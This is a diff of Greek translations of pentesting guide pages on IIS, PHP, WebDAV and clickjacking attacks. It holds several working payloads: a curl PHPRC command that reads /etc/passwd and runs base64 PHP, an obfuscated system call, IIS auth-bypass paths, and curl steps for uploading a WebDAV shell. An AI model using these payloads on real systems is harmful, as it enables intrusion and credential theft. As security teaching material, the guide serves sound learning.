Σε ένα σενάριο όπου μια DLL εισάγει ένα namespace που ονομάζεται **WebApplication1.Areas.Minded**, ένας επιτιθέμενος μπορεί να συμπεράνει την ύπαρξη άλλων αρχείων web.config σε προβλέψιμες διαδρομές, όπως **/area-name/Views/**, που περιέχουν συγκεκριμένες ρυθμίσεις και αναφορές σε άλλες DLL στον φάκελο /bin. Για παράδειγμα, ένα αίτημα προς το **/Minded/Views/web.config** μπορεί να αποκαλύψει ρυθμίσεις και namespaces που υποδεικνύουν την παρουσία άλλης DLL, **WebApplication1.AdditionalFeatures.dll**.
### Κοινά αρχεία
@ -192,14 +192,14 @@ C:\xampp\tomcat\conf\server.xml
Σημαίνει ότι ο διακομιστής **δεν έλαβε το σωστό όνομα τομέα** μέσα στην κεφαλίδα Host.\
Για να αποκτήσετε πρόσβαση στη σελίδα, μπορείτε να ρίξετε μια ματιά στο **SSL Certificate** που εξυπηρετείται και ίσως να βρείτε το όνομα τομέα/υποτομέα εκεί. Αν δεν είναι εκεί, ίσως χρειαστεί να **brute force VHosts** μέχρι να βρείτε το σωστό.
## Παλιές ευπάθειες IIS που αξίζει να αναζητήσετε
## Old IIS vulnerabilities worth looking for
### Microsoft IIS tilde character “\~” Vulnerability/Feature Short File/Folder Name Disclosure
Μπορείτε να προσπαθήσετε να **enumerate folders and files** μέσα σε κάθε ανακαλυφθέν φάκελο (ακόμα και αν απαιτεί Basic Authentication) χρησιμοποιώντας αυτή την **τεχνική**.\
Μπορείτε να προσπαθήσετε να **καταγράψετε φακέλους και αρχεία** μέσα σε κάθε ανακαλυφθέντα φάκελο (ακόμα και αν απαιτεί Βασική Αυθεντικοποίηση) χρησιμοποιώντας αυτή την **τεχνική**.\
Ο κύριος περιορισμός αυτής της τεχνικής αν ο διακομιστής είναι ευάλωτος είναι ότι **μπορεί να βρει μόνο μέχρι τα πρώτα 6 γράμματα του ονόματος κάθε αρχείου/φακέλου και τα πρώτα 3 γράμματα της επέκτασης** των αρχείων.
Μπορείτε να χρησιμοποιήσετε [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) για να δοκιμάσετε αυτή την ευπάθεια:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
Μπορείτε να χρησιμοποιήσετε [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) για να δοκιμάσετε αυτή την ευπάθεια: `java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
![](<../../images/image (844).png>)
@ -213,7 +213,7 @@ C:\xampp\tomcat\conf\server.xml
**Bypass** μιας βασικής αυθεντικοποίησης (**IIS 7.5**) προσπαθώντας να αποκτήσετε πρόσβαση: `/admin:$i30:$INDEX_ALLOCATION/admin.php` ή `/admin::$INDEX_ALLOCATION/admin.php`
Μπορείτε να προσπαθήσετε να **μείξετε** αυτή την **ευπάθεια** και την τελευταία για να βρείτε νέους **φακέλους** και να **bypass** την αυθεντικοποίηση.
Μπορείτε να προσπαθήσετε να **συνδυάσετε** αυτή την **ευπάθεια** και την τελευταία για να βρείτε νέους **φακέλους** και να **παρακάμψετε** την αυθεντικοποίηση.
## ASP.NET Trace.AXD enabled debugging
@ -221,7 +221,7 @@ C:\xampp\tomcat\conf\server.xml
Διατηρεί ένα πολύ λεπτομερές αρχείο καταγραφής όλων των αιτημάτων που έγιναν σε μια εφαρμογή κατά τη διάρκεια μιας περιόδου.
Αυτές οι πληροφορίες περιλαμβάνουν IP απομακρυσμένων πελατών, IDs συνεδρίας, όλα τα cookies αιτήσεων και απαντήσεων, φυσικούς δρόμους, πληροφορίες πηγαίου κώδικα και ενδεχομένως ακόμα και ονόματα χρηστών και κωδικούς πρόσβασης.
Αυτές οι πληροφορίες περιλαμβάνουν IP απομακρυσμένων πελατών, IDs συνεδρίας, όλα τα cookies αιτήματος και απάντησης, φυσικές διαδρομές, πληροφορίες πηγαίου κώδικα και ενδεχομένως ακόμα και ονόματα χρηστών και κωδικούς πρόσβασης.
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
@ -241,7 +241,7 @@ C:\xampp\tomcat\conf\server.xml
## IIS Authentication Bypass with cached passwords (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Ένα σφάλμα στον κώδικα **δεν έλεγξε σωστά τον κωδικό πρόσβασης που δόθηκε από τον χρήστη**, έτσι ένας επιτιθέμενος του οποίου το **password hash χτυπά ένα κλειδί** που είναι ήδη στην **cache** θα μπορεί να συνδεθεί ως αυτός ο χρήστης.
[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Ένα σφάλμα στον κώδικα **δεν έλεγξε σωστά τον κωδικό πρόσβασης που δόθηκε από τον χρήστη**, έτσι ένας επιτιθέμενος του οποίου **ο κατακερματισμένος κωδικός πρόσβασης χτυπά ένα κλειδί** που είναι ήδη στην **κρυφή μνήμη** θα μπορεί να συνδεθεί ως αυτός ο χρήστης.
```python
# script for sanity check
> type test.py

View File

@ -22,7 +22,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
### Χαλαρές συγκρίσεις/Τύποι Juggling ( == )
Αν χρησιμοποιηθεί το `==` στην PHP, τότε υπάρχουν απρόβλεπτες περιπτώσεις όπου η σύγκριση δεν συμπεριφέρεται όπως αναμένεται. Αυτό συμβαίνει επειδή το "==" συγκρίνει μόνο τιμές που έχουν μετατραπεί στον ίδιο τύπο, αν θέλετε επίσης να συγκρίνετε ότι ο τύπος των συγκρινόμενων δεδομένων είναι ο ίδιος, πρέπει να χρησιμοποιήσετε το `===`.
Αν χρησιμοποιηθεί το `==` στην PHP, τότε υπάρχουν απρόβλεπτες περιπτώσεις όπου η σύγκριση δεν συμπεριφέρεται όπως αναμένεται. Αυτό συμβαίνει επειδή το "==" συγκρίνει μόνο τις τιμές που έχουν μετατραπεί στον ίδιο τύπο, αν θέλετε επίσης να συγκρίνετε ότι ο τύπος των συγκρινόμενων δεδομένων είναι ο ίδιος, πρέπει να χρησιμοποιήσετε το `===`.
Πίνακες συγκρίσεων PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
@ -43,7 +43,7 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
### **in_array()**
**Τύποι Juggling** επηρεάζουν επίσης τη λειτουργία `in_array()` από προεπιλογή (πρέπει να ορίσετε σε true το τρίτο επιχείρημα για να κάνετε αυστηρή σύγκριση):
**Τύποι Juggling** επηρεάζουν επίσης τη λειτουργία `in_array()` από προεπιλογή (πρέπει να ορίσετε σε true το τρίτο επιχείρημα για να κάνετε μια αυστηρή σύγκριση):
```php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
@ -60,11 +60,11 @@ if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Re
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
```
Η ίδια σφάλμα συμβαίνει με το `strcasecmp()`
Το ίδιο σφάλμα συμβαίνει με το `strcasecmp()`
### Αυστηρός τύπος Juggling
Ακόμα και αν το `===` **χρησιμοποιείται** μπορεί να υπάρχουν σφάλματα που καθιστούν τη **σύγκριση ευάλωτη** σε **τύπο juggling**. Για παράδειγμα, αν η σύγκριση **μετατρέπει τα δεδομένα σε διαφορετικό τύπο αντικειμένου πριν από τη σύγκριση**:
Ακόμα και αν το `===` **χρησιμοποιείται**, μπορεί να υπάρχουν σφάλματα που καθιστούν τη **σύγκριση ευάλωτη** σε **τύπο juggling**. Για παράδειγμα, αν η σύγκριση **μετατρέπει τα δεδομένα σε διαφορετικό τύπο αντικειμένου πριν από τη σύγκριση**:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
@ -87,7 +87,7 @@ echo preg_match("/^.*1/",$myinput);
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
```
Για να παρακάμψετε αυτόν τον έλεγχο, μπορείτε να **στείλετε την τιμή με νέες γραμμές urlencoded** (`%0A`) ή αν μπορείτε να στείλετε **δεδομένα JSON**, στείλτε τα σε **πολλές γραμμές**:
Για να παρακάμψετε αυτήν την έλεγχο, μπορείτε να **στείλετε την τιμή με νέες γραμμές urlencoded** (`%0A`) ή αν μπορείτε να στείλετε **δεδομένα JSON**, στείλτε τα σε **πολλές γραμμές**:
```php
{
"cmd": "cat /etc/passwd"
@ -115,11 +115,12 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
[Αυτή η συζήτηση στο Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) συνδέθηκε επίσης στην ανάρτηση όπου συζητείται πιο αναλυτικά αυτό το ζήτημα. Η αποστολή μας ήταν τώρα σαφής:\
**Στείλτε μια είσοδο που θα κάνει την κανονική έκφραση να εκτελέσει 100_000+ αναδρομές, προκαλώντας SIGSEGV, κάνοντάς την `preg_match()` να επιστρέψει `false`, κάνοντάς την εφαρμογή να πιστεύει ότι η είσοδός μας δεν είναι κακόβουλη, ρίχνοντας την έκπληξη στο τέλος του payload κάτι σαν `{system(<verybadcommand>)}` για να αποκτήσουμε SSTI --> RCE --> flag :)**.
Λοιπόν, σε όρους regex, στην πραγματικότητα δεν κάνουμε 100k "αναδρομές", αλλά μετράμε "βήματα οπισθοχώρησης", τα οποία όπως δηλώνει η [τεκμηρίωση PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) προεπιλέγεται σε 1_000_000 (1M) στη μεταβλητή `pcre.backtrack_limit`.\ Για να φτάσουμε σε αυτό, `'X'*500_001` θα έχει ως αποτέλεσμα 1 εκατομμύριο βήματα οπισθοχώρησης (500k προς τα εμπρός και 500k προς τα πίσω):
Λοιπόν, με όρους regex, στην πραγματικότητα δεν κάνουμε 100k "αναδρομές", αλλά μετράμε "βήματα οπισθοχώρησης", τα οποία όπως δηλώνει η [τεκμηρίωση PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) προεπιλέγεται σε 1_000_000 (1M) στη μεταβλητή `pcre.backtrack_limit`.\
Για να φτάσουμε σε αυτό, `'X'*500_001` θα έχει ως αποτέλεσμα 1 εκατομμύριο βήματα οπισθοχώρησης (500k προς τα εμπρός και 500k προς τα πίσω):
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
### Type Juggling για την απόκρυψη PHP
### Type Juggling για την παραπλάνηση PHP
```php
$obfs = "1"; //string "1"
$obfs++; //int 2
@ -152,9 +153,9 @@ Check:
## More tricks
- **register_globals**: Στο **PHP < 4.1.1.1** ή αν είναι κακώς ρυθμισμένο, **register_globals** μπορεί να είναι ενεργό (ή η συμπεριφορά του να μιμείται). Αυτό σημαίνει ότι σε παγκόσμιες μεταβλητές όπως $\_GET αν έχουν μια τιμή π.χ. $\_GET\["param"]="1234", μπορείτε να την αποκτήσετε μέσω **$param. Επομένως, στέλνοντας HTTP παραμέτρους μπορείτε να αντικαταστήσετε μεταβλητές\*\* που χρησιμοποιούνται μέσα στον κώδικα.
- Τα **PHPSESSION cookies του ίδιου τομέα αποθηκεύονται στην ίδια θέση**, επομένως αν μέσα σε έναν τομέα **χρησιμοποιούνται διαφορετικά cookies σε διαφορετικές διαδρομές** μπορείτε να κάνετε μια διαδρομή **να αποκτά πρόσβαση στο cookie της άλλης διαδρομής** ρυθμίζοντας την τιμή του cookie της άλλης διαδρομής.\
Με αυτόν τον τρόπο αν **και οι δύο διαδρομές αποκτούν πρόσβαση σε μια μεταβλητή με το ίδιο όνομα** μπορείτε να κάνετε την **τιμή αυτής της μεταβλητής στη διαδρομή1 να ισχύει για τη διαδρομή2**. Και τότε η διαδρομή2 θα θεωρεί έγκυρες τις μεταβλητές της διαδρομής1 (δίνοντας στο cookie το όνομα που αντιστοιχεί σε αυτό στη διαδρομή2).
- **register_globals**: Στο **PHP < 4.1.1.1** ή αν είναι κακώς ρυθμισμένο, **register_globals** μπορεί να είναι ενεργό (ή η συμπεριφορά του να μιμείται). Αυτό σημαίνει ότι σε παγκόσμιες μεταβλητές όπως $\_GET αν έχουν μια τιμή π.χ. $\_GET\["param"]="1234", μπορείτε να έχετε πρόσβαση σε αυτή μέσω του **$param. Επομένως, στέλνοντας HTTP παραμέτρους μπορείτε να αντικαταστήσετε μεταβλητές\*\* που χρησιμοποιούνται μέσα στον κώδικα.
- Τα **PHPSESSION cookies του ίδιου τομέα αποθηκεύονται στην ίδια θέση**, επομένως αν μέσα σε έναν τομέα **χρησιμοποιούνται διαφορετικά cookies σε διαφορετικές διαδρομές** μπορείτε να κάνετε μια διαδρομή **να έχει πρόσβαση στο cookie της άλλης διαδρομής** ρυθμίζοντας την τιμή του cookie της άλλης διαδρομής.\
Με αυτόν τον τρόπο αν **και οι δύο διαδρομές έχουν πρόσβαση σε μια μεταβλητή με το ίδιο όνομα** μπορείτε να κάνετε την **τιμή αυτής της μεταβλητής στη διαδρομή1 να ισχύει για τη διαδρομή2**. Και τότε η διαδρομή2 θα θεωρεί έγκυρες τις μεταβλητές της διαδρομής1 (δίνοντας στο cookie το όνομα που αντιστοιχεί σε αυτό στη διαδρομή2).
- Όταν έχετε τα **ονόματα χρηστών** των χρηστών της μηχανής. Ελέγξτε τη διεύθυνση: **/\~\<USERNAME>** για να δείτε αν οι php κατάλογοι είναι ενεργοποιημένοι.
- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html)
@ -184,7 +185,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
#### Συμπλήρωση ενός σώματος πριν από την ρύθμιση των κεφαλίδων
Αν μια **σελίδα PHP εκτυπώνει σφάλματα και επιστρέφει κάποια είσοδο που παρέχεται από τον χρήστη**, ο χρήστης μπορεί να κάνει τον PHP server να εκτυπώσει κάποια **περιεχόμενα αρκετά μεγάλα** ώστε όταν προσπαθήσει να **προσθέσει τις κεφαλίδες** στην απάντηση, ο server να ρίξει ένα σφάλμα.\
Στο παρακάτω σενάριο, ο **επιτιθέμενος έκανε τον server να ρίξει κάποια μεγάλα σφάλματα**, και όπως μπορείτε να δείτε στην οθόνη όταν η PHP προσπάθησε να **τροποποιήσει τις πληροφορίες κεφαλίδας, δεν μπόρεσε** (έτσι για παράδειγμα η κεφαλίδα CSP δεν στάλθηκε στον χρήστη):
Στο παρακάτω σενάριο, ο **επιτιθέμενος έκανε τον server να ρίξει κάποια μεγάλα σφάλματα**, και όπως μπορείτε να δείτε στην οθόνη, όταν η PHP προσπάθησε να **τροποποιήσει τις πληροφορίες κεφαλίδας, δεν μπόρεσε** (έτσι για παράδειγμα η κεφαλίδα CSP δεν στάλθηκε στον χρήστη):
![](<../../../images/image (1085).png>)
@ -199,7 +200,7 @@ php-ssrf.md
## Εκτέλεση κώδικα
**system("ls");**\
&#xNAN;**\`ls\`;**\
**\`ls\`;**\
**shell_exec("ls");**
[Ελέγξτε αυτό για περισσότερες χρήσιμες συναρτήσεις PHP](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
@ -266,22 +267,22 @@ usort();}phpinfo;#, "cmp");
### **RCE μέσω .httaccess**
Εάν μπορείτε να **ανεβάσετε** ένα **.htaccess**, τότε μπορείτε να **ρυθμίσετε** διάφορα πράγματα και ακόμη και να εκτελέσετε κώδικα (ρυθμίζοντας ότι τα αρχεία με επέκταση .htaccess μπορούν να **εκτελούνται**).
Αν μπορείτε να **ανεβάσετε** ένα **.htaccess**, τότε μπορείτε να **ρυθμίσετε** διάφορα πράγματα και ακόμη και να εκτελέσετε κώδικα (ρυθμίζοντας ότι τα αρχεία με επέκταση .htaccess μπορούν να **εκτελούνται**).
Διαφορετικά .htaccess shells μπορούν να βρεθούν [εδώ](https://github.com/wireghoul/htshells)
Διαφορετικά shells .htaccess μπορούν να βρεθούν [εδώ](https://github.com/wireghoul/htshells)
### RCE μέσω Env Variables
Εάν βρείτε μια ευπάθεια που σας επιτρέπει να **τροποποιήσετε τις env variables σε PHP** (και μια άλλη για να ανεβάσετε αρχεία, αν και με περισσότερη έρευνα ίσως αυτό μπορεί να παρακαμφθεί), θα μπορούσατε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να αποκτήσετε **RCE**.
Αν βρείτε μια ευπάθεια που σας επιτρέπει να **τροποποιήσετε τις env variables στο PHP** (και μια άλλη για να ανεβάσετε αρχεία, αν και με περισσότερη έρευνα ίσως αυτό μπορεί να παρακαμφθεί), θα μπορούσατε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να αποκτήσετε **RCE**.
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Αυτή η env variable σας επιτρέπει να φορτώνετε αυθαίρετες βιβλιοθήκες κατά την εκτέλεση άλλων δυαδικών αρχείων (αν και σε αυτή την περίπτωση μπορεί να μην λειτουργήσει).
- **`PHPRC`** : Δίνει οδηγίες στην PHP για **πού να εντοπίσει το αρχείο ρύθμισης**, συνήθως ονομάζεται `php.ini`. Εάν μπορείτε να ανεβάσετε το δικό σας αρχείο ρύθμισης, τότε, χρησιμοποιήστε το `PHPRC` για να δείξετε στην PHP σε αυτό. Προσθέστε μια είσοδο **`auto_prepend_file`** που καθορίζει ένα δεύτερο ανεβασμένο αρχείο. Αυτό το δεύτερο αρχείο περιέχει κανονικό **PHP κώδικα, ο οποίος εκτελείται** από το PHP runtime πριν από οποιονδήποτε άλλο κώδικα.
1. Ανεβάστε ένα αρχείο PHP που περιέχει τον κώδικα shell μας
2. Ανεβάστε ένα δεύτερο αρχείο, που περιέχει μια οδηγία **`auto_prepend_file`** που δίνει οδηγίες στον προεπεξεργαστή PHP να εκτελέσει το αρχείο που ανεβάσαμε στο βήμα 1
- **`PHPRC`** : Δίνει οδηγίες στο PHP για **πού να εντοπίσει το αρχείο ρύθμισης** του, συνήθως ονομάζεται `php.ini`. Αν μπορείτε να ανεβάσετε το δικό σας αρχείο ρύθμισης, τότε, χρησιμοποιήστε το `PHPRC` για να δείξετε στο PHP σε αυτό. Προσθέστε μια είσοδο **`auto_prepend_file`** που να καθορίζει ένα δεύτερο ανεβασμένο αρχείο. Αυτό το δεύτερο αρχείο περιέχει κανονικό **PHP κώδικα, ο οποίος εκτελείται** από το PHP runtime πριν από οποιονδήποτε άλλο κώδικα.
1. Ανεβάστε ένα αρχείο PHP που περιέχει τον κώδικά μας
2. Ανεβάστε ένα δεύτερο αρχείο, που περιέχει μια οδηγία **`auto_prepend_file`** που δίνει εντολή στον προεπεξεργαστή PHP να εκτελέσει το αρχείο που ανεβάσαμε στο βήμα 1
3. Ρυθμίστε τη μεταβλητή `PHPRC` στο αρχείο που ανεβάσαμε στο βήμα 2.
- Αποκτήστε περισσότερες πληροφορίες σχετικά με το πώς να εκτελέσετε αυτή την αλυσίδα [**από την αρχική αναφορά**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
- **PHPRC** - άλλη επιλογή
- Εάν **δεν μπορείτε να ανεβάσετε αρχεία**, μπορείτε να χρησιμοποιήσετε στο FreeBSD το "αρχείο" `/dev/fd/0` που περιέχει το **`stdin`**, που είναι το **σώμα** του αιτήματος που αποστέλλεται στο `stdin`:
- Αν **δεν μπορείτε να ανεβάσετε αρχεία**, μπορείτε να χρησιμοποιήσετε στο FreeBSD το "αρχείο" `/dev/fd/0` που περιέχει το **`stdin`**, που είναι το **σώμα** του αιτήματος που αποστέλλεται στο `stdin`:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
- Ή για να αποκτήσετε RCE, ενεργοποιήστε το **`allow_url_include`** και προσθέστε ένα αρχείο με **base64 PHP κώδικα**:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
@ -349,19 +350,19 @@ echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
```
## RCE abusing new $\_GET\["a"]\($\_GET\["b")
## RCE εκμετάλλευση νέου $\_GET\["a"]\($\_GET\["b")
Αν σε μια σελίδα μπορείς να **δημιουργήσεις ένα νέο αντικείμενο μιας αυθαίρετης κλάσης**, μπορεί να μπορέσεις να αποκτήσεις RCE, έλεγξε την παρακάτω σελίδα για να μάθεις πώς:
Αν σε μια σελίδα μπορείς να **δημιουργήσεις ένα νέο αντικείμενο μιας αυθαίρετης κλάσης**, μπορεί να μπορέσεις να αποκτήσεις RCE, δες την παρακάτω σελίδα για να μάθεις πώς:
{{#ref}}
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
{{#endref}}
## Execute PHP without letters
## Εκτέλεση PHP χωρίς γράμματα
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
### Using octal
### Χρησιμοποιώντας οκταδικούς αριθμούς
```php
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
```

View File

@ -8,7 +8,7 @@
Για να ξεπεράσετε περιορισμούς στην ανάρτηση αρχείων, ειδικά εκείνους που αποτρέπουν την εκτέλεση server-side scripts, μπορείτε να:
- **Ανεβάσετε** αρχεία με **εκτελέσιμες επεκτάσεις** απευθείας αν δεν περιορίζονται.
- **Ανεβάσετε** αρχεία με **εκτελέσιμες επεκτάσεις** απευθείας αν δεν υπάρχουν περιορισμοί.
- **Μετονομάσετε** τα ανεβασμένα μη εκτελέσιμα αρχεία (όπως .txt) σε εκτελέσιμη επέκταση.
- **Αντιγράψετε** τα ανεβασμένα μη εκτελέσιμα αρχεία, αλλάζοντας την επέκτασή τους σε μία που είναι εκτελέσιμη.
@ -25,30 +25,30 @@ davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every
## Cadaver
Μπορείτε να χρησιμοποιήσετε αυτό το εργαλείο για να **συνδεθείτε στον WebDav** διακομιστή και να εκτελέσετε ενέργειες (όπως **ανέβασμα**, **μετακίνηση** ή **διαγραφή**) **χειροκίνητα**.
Μπορείτε να χρησιμοποιήσετε αυτό το εργαλείο για να **συνδεθείτε στον διακομιστή WebDav** και να εκτελέσετε ενέργειες (όπως **ανέβασμα**, **μετακίνηση** ή **διαγραφή**) **χειροκίνητα**.
```
cadaver <IP>
```
## Αίτημα PUT
## PUT αίτημα
```
curl -T 'shell.txt' 'http://$ip'
```
## Αίτημα MOVE
## MOVE request
```bash
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
```
## IIS5/6 WebDav Vulnerability
Αυτή η ευπάθεια είναι πολύ ενδιαφέρουσα. Το **WebDav** **δεν επιτρέπει** να **ανεβάσετε** ή να **μετονομάσετε** αρχεία με την επέκταση **.asp**. Αλλά μπορείτε να **παρακάμψετε** αυτό **προσθέτοντας** στο τέλος του ονόματος **";.txt"** και το αρχείο θα **εκτελείται** σαν να ήταν αρχείο .asp (μπορείτε επίσης να **χρησιμοποιήσετε ".html" αντί για ".txt"** αλλά **ΜΗΝ ξεχάσετε το ";"**).
Αυτή η ευπάθεια είναι πολύ ενδιαφέρουσα. Το **WebDav** δεν **επιτρέπει** να **ανεβάσετε** ή να **μετονομάσετε** αρχεία με την επέκταση **.asp**. Αλλά μπορείτε να **παρακάμψετε** αυτό **προσθέτοντας** στο τέλος του ονόματος **";.txt"** και το αρχείο θα **εκτελείται** σαν να ήταν αρχείο .asp (μπορείτε επίσης να **χρησιμοποιήσετε ".html" αντί για ".txt"** αλλά **ΜΗΝ ξεχάσετε το ";"**).
Έτσι μπορείτε να **ανεβάσετε** το shell σας ως αρχείο ".**txt"** και να **αντιγράψετε/μετακινήσετε το σε ένα αρχείο ".asp;.txt"**. Όταν αποκτήσετε πρόσβαση σε αυτό το αρχείο μέσω του web server, θα **εκτελείται** (το cadaver θα πει ότι η ενέργεια μεταφοράς δεν λειτούργησε, αλλά λειτούργησε).
Στη συνέχεια, μπορείτε να **ανεβάσετε** το shell σας ως αρχείο ".**txt"** και να **αντιγράψετε/μετακινήσετε το σε ένα αρχείο ".asp;.txt"**. Όταν αποκτήσετε πρόσβαση σε αυτό το αρχείο μέσω του web server, θα **εκτελείται** (ο cadaver θα πει ότι η ενέργεια μεταφοράς δεν λειτούργησε, αλλά λειτούργησε).
![](<../../images/image (1092).png>)
## Post credentials
Αν το Webdav χρησιμοποιούσε έναν Apache server, θα πρέπει να κοιτάξετε τις ρυθμισμένες τοποθεσίες στον Apache. Συνήθως:\
\&#xNAN;_**/etc/apache2/sites-enabled/000-default**_
\_**/etc/apache2/sites-enabled/000-default**_
Μέσα σε αυτό μπορείτε να βρείτε κάτι σαν:
```
@ -61,13 +61,13 @@ AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
```
Όπως μπορείτε να δείτε, υπάρχουν τα αρχεία με τα έγκυρα **credentials** για τον **webdav** διακομιστή:
Όπως μπορείτε να δείτε, υπάρχουν τα αρχεία με τα έγκυρα **credentials** για τον **webdav** server:
```
/etc/apache2/users.password
```
Μέσα σε αυτούς τους τύπους αρχείων θα βρείτε το **username** και ένα **hash** του κωδικού πρόσβασης. Αυτά είναι τα διαπιστευτήρια που χρησιμοποιεί ο διακομιστής webdav για να πιστοποιεί τους χρήστες.
Μέσα σε αυτόν τον τύπο αρχείων θα βρείτε το **username** και ένα **hash** του κωδικού πρόσβασης. Αυτά είναι τα διαπιστευτήρια που χρησιμοποιεί ο διακομιστής webdav για να πιστοποιεί τους χρήστες.
Μπορείτε να προσπαθήσετε να **crack** τα διαπιστευτήρια, ή να **add more** αν για κάποιο λόγο θέλετε να **access** τον διακομιστή **webdav**:
Μπορείτε να προσπαθήσετε να **crack** τα διαπιστευτήρια, ή να **προσθέσετε περισσότερα** αν για κάποιο λόγο θέλετε να **access** τον διακομιστή **webdav**:
```bash
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
```

View File

@ -2,19 +2,19 @@
{{#include ../banners/hacktricks-training.md}}
## Τι είναι το Clickjacking
## What is Clickjacking
Σε μια επίθεση clickjacking, ένας **χρήστης** **παραπλανάται** να **κλικάρει** σε ένα **στοιχείο** μιας ιστοσελίδας που είναι είτε **αόρατο** είτε μεταμφιεσμένο ως διαφορετικό στοιχείο. Αυτή η χειραγώγηση μπορεί να οδηγήσει σε απρόβλεπτες συνέπειες για τον χρήστη, όπως η λήψη κακόβουλου λογισμικού, ανακατεύθυνση σε κακόβουλες ιστοσελίδες, παροχή διαπιστευτηρίων ή ευαίσθητων πληροφοριών, μεταφορές χρημάτων ή η διαδικτυακή αγορά προϊόντων.
Σε μια επίθεση clickjacking, ένας **χρήστης** **παραπλανάται** να **κλικάρει** σε ένα **στοιχείο** σε μια ιστοσελίδα που είναι είτε **αόρατο** είτε μεταμφιεσμένο ως διαφορετικό στοιχείο. Αυτή η χειραγώγηση μπορεί να οδηγήσει σε απρόβλεπτες συνέπειες για τον χρήστη, όπως η λήψη κακόβουλου λογισμικού, ανακατεύθυνση σε κακόβουλες ιστοσελίδες, παροχή διαπιστευτηρίων ή ευαίσθητων πληροφοριών, μεταφορές χρημάτων ή η διαδικτυακή αγορά προϊόντων.
### Τέχνασμα προεγκατάστασης φορμών
### Prepopulate forms trick
Μερικές φορές είναι δυνατόν να **συμπληρώσετε την τιμή των πεδίων μιας φόρμας χρησιμοποιώντας παραμέτρους GET κατά τη φόρτωση μιας σελίδας**. Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτή τη συμπεριφορά για να συμπληρώσει μια φόρμα με αυθαίρετα δεδομένα και να στείλει το payload clickjacking ώστε ο χρήστης να πατήσει το κουμπί Υποβολή.
### Συμπλήρωση φόρμας με Drag\&Drop
### Populate form with Drag\&Drop
Αν χρειάζεστε τον χρήστη να **συμπληρώσει μια φόρμα** αλλά δεν θέλετε να του ζητήσετε άμεσα να γράψει κάποιες συγκεκριμένες πληροφορίες (όπως το email και ή συγκεκριμένο κωδικό που γνωρίζετε), μπορείτε απλά να του ζητήσετε να **Drag\&Drop** κάτι που θα γράψει τα ελεγχόμενα δεδομένα σας όπως σε [**αυτό το παράδειγμα**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
### Βασικό Payload
### Basic Payload
```markup
<style>
iframe {
@ -89,16 +89,16 @@ background: #F00;
```
### XSS + Clickjacking
Αν έχετε εντοπίσει μια **επίθεση XSS που απαιτεί από έναν χρήστη να κάνει κλικ** σε κάποιο στοιχείο για να **ενεργοποιήσει** το XSS και η σελίδα είναι **ευάλωτη σε clickjacking**, μπορείτε να το εκμεταλλευτείτε για να παραπλανήσετε τον χρήστη να κάνει κλικ στο κουμπί/σύνδεσμο.\
Αν έχετε εντοπίσει μια **επίθεση XSS που απαιτεί από τον χρήστη να κάνει κλικ** σε κάποιο στοιχείο για να **ενεργοποιήσει** το XSS και η σελίδα είναι **ευάλωτη σε clickjacking**, θα μπορούσατε να το εκμεταλλευτείτε για να παραπλανήσετε τον χρήστη να κάνει κλικ στο κουμπί/σύνδεσμο.\
Παράδειγμα:\
